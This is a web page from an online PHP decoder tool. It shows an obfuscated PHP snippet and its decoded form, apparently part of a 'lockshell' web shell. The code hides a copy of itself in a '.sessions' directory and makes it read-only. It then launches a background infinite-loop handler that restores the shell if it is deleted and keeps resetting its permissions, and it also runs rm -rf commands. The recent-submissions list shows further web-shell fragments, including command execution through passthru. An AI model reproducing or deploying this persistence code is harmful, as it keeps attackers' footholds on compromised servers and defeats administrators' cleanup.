Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

 if (file_exists(${${"GLO\x42AL\x53"}["\x70k\x62\x72\x75\x71\x79"]} . "/.s\x65ss\x69ons/\x2e" . base64_encode(${${"GLO\x42A\x4c\x53"}["snx\x6a\x70d\x75o\x6c"]}[0]() . remove_dot(${$utqmnnk}) . "-han\x64\x6c\x65\x72")) && file_exists(${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x66\x6f\x64\x62\x64\x65\x6a"]} . "/.se\x73sio\x6es/." . base64_encode(${${"\x47LOB\x41\x4c\x53"}["\x78\x68l\x66\x69\x61\x73\x6a"]}[0]() . remove_dot(${$ynojlolnjc}) . "-t\x65xt"))) {
        ${"\x47\x4c\x4fBA\x4cS"}["b\x6d\x76\x67\x77\x6e\x78b\x63io"] = "c\x75\x72\x46i\x6c\x65";
        ${"\x47\x4cO\x42A\x4c\x53"}["\x63mt\x6c\x6bb\x69"] = "\x63\x75rFi\x6c\x65";
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x77\x6a\x6ak\x73\x6cl"] = "Tm\x70Nam\x65\x73";
        $btcufyjqga = "fu\x6e\x67\x73i";
        cmd("rm -r\x66 " . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61w\x6a\x6a\x6b\x73\x6cl"]} . "/.s\x65\x73sion\x73/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"G\x4cOB\x41L\x53"}["b\x6d\x76\x67w\x6e\x78\x62\x63\x69\x6f"]}) . "-\x74\x65\x78t"));
        cmd("\x72m -\x72\x66 " . ${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x66o\x64\x62d\x65\x6a"]} . "/.\x73e\x73\x73\x69on\x73/." . base64_encode(${${"\x47\x4cO\x42A\x4cS"}["\x73\x6e\x78j\x70\x64u\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4c\x53"}["c\x6d\x74\x6c\x6bbi"]}) . "-hand\x6ce\x72"));
    }
    $enznadbms = "\x63\x75\x72\x46il\x65";
    ${"\x47L\x4fBA\x4c\x53"}["\x61dfv\x77\x66\x70\x71x"] = "\x68a\x6e\x64\x6c\x65\x72";
    $jadnlsj = "cu\x72\x46\x69\x6c\x65";
    mkdir(${${"G\x4cO\x42\x41LS"}["q\x6dlakym\x6c\x6c"]} . "/\x2e\x73ess\x69on\x73");
    cmd("\x63\x70 $curFile\x20" . ${$jknnjceqxq} . "/\x2es\x65ssi\x6fns/." . base64_encode(${${"G\x4cOB\x41L\x53"}["s\x6e\x78\x6a\x70du\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fB\x41\x4cS"}["\x76f\x75hqr\x71\x72c\x65"]}) . "-\x74ex\x74"));
    $ehhejlebpl = "fu\x6e\x67\x73\x69";
    chmod(${${"\x47\x4cO\x42\x41\x4cS"}["\x76\x66\x75\x68q\x72qrc\x65"]}, 0444);
    $lkbiqkuwg = "\x66\x75\x6e\x67s\x69";
    ${${"\x47L\x4f\x42\x41\x4c\x53"}["a\x64\x66\x76w\x66p\x71\x78"]} = "\n\x3c?\x70\x68p\n@i\x6e\x69_s\x65\x74(\x22\x6d\x61\x78_e\x78e\x63\x75\x74i\x6fn\x5ft\x69\x6de\", \x30)\x3b\nwh\x69\x6ce\x20(\x54ru\x65){\n \x20\x20 i\x66 (\x21f\x69l\x65_ex\x69sts(\x22" . __DIR__ . "\")){\n\x20\x20 \x20 \x20  \x6dk\x64\x69\x72(\x22" . __DIR__ . "\");\n \x20\x20 }\n\x20\x20\x20\x20\x69\x66 (\x21\x66\x69\x6ce_exist\x73(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x66\x75h\x71r\x71\x72c\x65"]} . "\x22)){\n    \x20\x20  \$\x74\x65\x78t\x20\x3d \x62a\x73e\x364\x5f\x65\x6eco\x64\x65(fil\x65\x5fg\x65\x74_\x63\x6f\x6e\x74\x65nt\x73(\"" . ${${"G\x4c\x4f\x42A\x4c\x53"}["\x79\x74\x70\x73\x64r\x7aov\x6d"]} . "/\x2esessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-\x74\x65\x78t") . "\x22))\x3b\n  \x20  \x20  \x66i\x6ce_p\x75\x74\x5f\x63on\x74e\x6ets(\"" . ${${"\x47\x4cOB\x41\x4c\x53"}["s\x6e\x78\x6a\x70d\x75o\x6c"]}[0]() . "/" . ${${"\x47\x4cOB\x41\x4cS"}["\x76\x66u\x68\x71r\x71\x72ce"]} . "\x22,\x20base\x36\x34_\x64\x65c\x6fde(\$t\x65\x78\x74));\n   \x20}\n\x20  \x20i\x66 (\x67\x65\x63\x6bo_\x70\x65\x72\x6d(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\")\x20\x21=\x20\x30\x34\x344){\n\x20\x20    \x20 \x63hmod(\"" . ${${"\x47\x4c\x4fB\x41LS"}["\x73\x6e\x78\x6a\x70\x64u\x6f\x6c"]}[0]() . "/" . ${$isohmvpx} . "\x22,\x20\x30\x34\x344);\n\x20   }\n}\n\nfu\x6ec\x74\x69\x6f\x6e \x67ecko\x5fperm(\$f\x6ce\x6eame){\n\x20\x20\x20 r\x65tu\x72\x6e s\x75\x62\x73\x74r(s\x70\x72in\x74f(\x22\x25o\",\x20\x66\x69\x6c\x65perm\x73(\$fl\x65\x6e\x61\x6d\x65)), -\x34);\n}\n";
    $nbxxth = "h\x6e\x64l\x65\x72s";
    ${$zvtyjjr} = ${${"G\x4c\x4fBA\x4c\x53"}["\x6amv\x6bag\x75\x66"]}[28](${$bdoupnyyd} . "/\x2e\x73\x65ss\x69on\x73/\x2e" . base64_encode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x6e\x78j\x70\x64\x75\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4f\x42A\x4cS"}["utp\x69\x6a\x74\x74\x78c"]}) . "-ha\x6e\x64\x6c\x65r") . "", ${${"\x47\x4c\x4fB\x41L\x53"}["v\x6f\x67\x78\x79\x73"]});
    if (${$nbxxth}) {
        ${"\x47L\x4fBAL\x53"}["c\x72\x67d\x78\x7a\x70u"] = "\x66\x75\x6eg\x73\x69";
        cmd("p\x68\x70\x20" . ${${"\x47L\x4f\x42\x41LS"}["nf\x6f\x64\x62\x64e\x6a"]} . "/\x2es\x65ssi\x6fn\x73/." . base64_encode(${${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x72\x67dxz\x70u"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4cS"}["\x76\x66\x75\x68qrq\x72\x63e"]}) . "-\x68a\x6e\x64ler") . " > /\x64ev/\x6e\x75\x6cl 2>/\x64ev/\x6eull \x26");
    } else {
        failed();
    }
}

Decrypted code:

 if (file_exists(${${"GLOBALS"}["pkbruqy"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$utqmnnk}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["xhlfiasj"]}[0]() . remove_dot(${$ynojlolnjc}) . "-text"))) {
        ${"GLOBALS"}["bmvgwnxbcio"] = "curFile";
        ${"GLOBALS"}["cmtlkbi"] = "curFile";
        ${"GLOBALS"}["awjjksll"] = "TmpNames";
        $btcufyjqga = "fungsi";
        cmd("rm -rf " . ${${"GLOBALS"}["awjjksll"]} . "/.sessions/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"GLOBALS"}["bmvgwnxbcio"]}) . "-text"));
        cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["cmtlkbi"]}) . "-handler"));
    }
    $enznadbms = "curFile";
    ${"GLOBALS"}["adfvwfpqx"] = "handler";
    $jadnlsj = "curFile";
    mkdir(${${"GLOBALS"}["qmlakymll"]} . "/.sessions");
    cmd("cp $curFile " . ${$jknnjceqxq} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-text"));
    $ehhejlebpl = "fungsi";
    chmod(${${"GLOBALS"}["vfuhqrqrce"]}, 0444);
    $lkbiqkuwg = "fungsi";
    ${${"GLOBALS"}["adfvwfpqx"]} = "\n\n@ini_set("max_execution_time\", 0);\nwhile (True){\n    if (!file_exists("" . __DIR__ . "\")){\n        mkdir("" . __DIR__ . "\");\n    }\n    if (!file_exists(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "")){\n        \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["ytpsdrzovm"]} . "/.sessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-text") . ""));\n        file_put_contents(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "", base64_decode(\$text));\n    }\n    if (gecko_perm(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\") != 0444){\n        chmod(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${$isohmvpx} . "", 0444);\n    }\n}\n\nfunction gecko_perm(\$flename){\n    return substr(sprintf("%o\", fileperms(\$flename)), -4);\n}\n";
    $nbxxth = "hndlers";
    ${$zvtyjjr} = ${${"GLOBALS"}["jmvkaguf"]}[28](${$bdoupnyyd} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["utpijttxc"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]});
    if (${$nbxxth}) {
        ${"GLOBALS"}["crgdxzpu"] = "fungsi";
        cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["crgdxzpu"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-handler") . " > /dev/null 2>/dev/null &");
    } else {
        failed();
    }
}

Recent submissions:

cmd("rm\x20-rf\x20" . ${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/... if (isset($_GET["lo\x63ks\x68\x65ll"])) { $utqmnnk = "c\x75rF\x69\x6c\x65"; $jkn... <?php session_start(); @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NU... function remove_dot($file) { ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ap\x66a\x69od\x77\x7... if (file_exists(${${"GLO\x42AL\x53"}["\x70k\x62\x72\x75\x71\x79"]} . "/.s\x65ss\x69ons/\x... if (isset($_GET["lo\x63ks\x68\x65ll"])) { $utqmnnk = "c\x75rF\x69\x6c\x65"; $jkn... ${${"G\x4c\x4f\x42A\x4c\x53"}["p\x6ao\x77\x70\x6c\x63\x6a"]} = str_replace("\\", "/", ${$x... echo "\n\x3c\x21D\x4fC\x54\x59\x50\x45\x20h\x74\x6dl>\n<h\x74ml\x20lang\x3d\x22\x65n\">\n\... $out = ''; try { if ($re) $in = $in . " 2>&1"; if (function_exists(... } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) { ob_s...